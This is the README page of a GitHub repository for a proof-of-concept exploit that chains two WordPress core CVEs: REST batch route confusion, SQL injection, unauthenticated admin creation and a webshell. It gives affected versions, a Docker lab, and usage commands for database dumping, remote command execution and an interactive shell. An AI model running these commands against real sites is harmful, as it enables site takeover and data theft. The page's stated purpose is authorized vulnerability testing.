Skip to content

securelayer7/WordPresShell

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

1 Commit
 
 
 
 
 
 
 
 
 
 

Repository files navigation

WordPresShell

Pre-auth RCE PoC for CVE-2026-63030 + CVE-2026-60137 (WordPress core). REST /batch/v1 route confusion → WP_Query author__not_in SQLi → unauthenticated admin creation → webshell. Single file, Python stdlib only.

Vulnerability: Adam Kues (Searchlight Cyber). Affected: 6.9.0–6.9.4, 7.0.0–7.0.1. Fixed: 6.9.5 / 7.0.2.

Usage

python3 WordPresShell.py check http://target                      # confirm (non-destructive)
python3 WordPresShell.py dump  http://target [--query "SELECT @@version"]
python3 WordPresShell.py shell http://target --cmd "id"           # crack-free RCE
python3 WordPresShell.py shell http://target -i                   # interactive
python3 WordPresShell.py shell http://target --user U --password P --cmd id

Lab

docker compose up -d          # WordPress 7.0.1 on :8092
docker compose down -v        # teardown

shell creates an admin and drops a webshell — remove both after testing. Authorized testing only.

About

Pre-auth RCE PoC for CVE-2026-63030 / CVE-2026-60137 (WordPress core)

Topics

Resources

Stars

3 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages